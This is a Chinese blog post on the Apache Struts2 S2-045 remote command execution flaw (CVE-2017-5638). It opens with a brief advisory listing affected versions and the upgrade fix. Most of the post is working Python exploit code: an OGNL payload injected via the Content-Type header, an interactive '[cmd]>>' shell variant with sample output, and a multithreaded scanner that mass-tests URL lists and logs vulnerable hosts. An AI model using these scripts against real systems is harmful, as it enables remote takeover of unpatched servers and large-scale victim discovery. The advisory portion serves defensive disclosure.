Struts2是个好东西
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Apache Struts 2被曝存在远程命令执行漏洞,漏洞编号S2-045,CVE编号CVE-2017-5638,在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵,漏洞评级为:高危。
漏洞详情:恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞进而执行系统命令。
风险等级:高风险。
漏洞风险:黑客通过利用漏洞可以实现远程命令执行。
影响版本:Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10。
安全版本:Struts 2.3.32或2.5.10.1。
修复建议:如您正在使用Jakarta文件上传插件,请升级Struts至安全版本。
更多参考:https://cwiki.apache.org/confluence/display/WW/S2-045
POC
#! -*- encoding:utf-8 -*- import urllib2 import sys from poster.encode import multipart_encode from poster.streaminghttp import register_openers def poc(url): register_openers() datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")}) header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" header["Content-Type"]="%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo nMask').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" request = urllib2.Request(url,datagen,headers=header) response = urllib2.urlopen(request) body=response.read() return body url=sys.argv[1] body=poc(url) if "nMask" in body: print "[Loopholes exist]",url
Poc_Cmd
import urllib2 import sys from poster.encode import multipart_encode from poster.streaminghttp import register_openers def poc(url,content="echo nMask"): register_openers() datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")}) header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" header["Content-Type"]="%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+content+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" request = urllib2.Request(url,datagen,headers=header) response = urllib2.urlopen(request) body=response.read() return body url=sys.argv[1] body=poc(url) if "nMask" in body: print "[Loopholes exist]",url while 1: con=raw_input("[cmd]>>") print poc(url,content=con)
运行结果:
>python s2_045_cmd.py http://xxx.com/?a.action [Loopholes exist] http://xxx.com/?a.action [cmd]>>ls example1 example2
多线程批量检测
import urllib2 from poster.encode import multipart_encode from poster.streaminghttp import register_openers import threading def poc(url): register_openers() datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")}) header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" header["Content-Type"]="%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo nMask').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" try: request = urllib2.Request(url,datagen,headers=header) response = urllib2.urlopen(request,timeout=5) body=response.read() except: body="" if "nMask" in body: print "[Loopholes exist]",url f.write(url+"\n") else: print "Loopholes not exist",url if __name__=="__main__": ''' url.txt为待检测url列表 result.txt为检测完输出结果文件 ''' f=open("result.txt","a") url_list=[i.replace("\n","") for i in open("url.txt","r").readlines()] for url in url_list: threading.Thread(target=poc,args=(url,)).start() while 1: if(len(threading.enumerate())<50): break
POC下载地址:https://github.com/tengzhangchao/Struts2_045-Poc
更多检测脚本,敬请期待……
转载请说明出处:Struts2_045漏洞
本文地址:http://thief.one/2017/03/07/Struts2-045%E6%BC%8F%E6%B4%9E/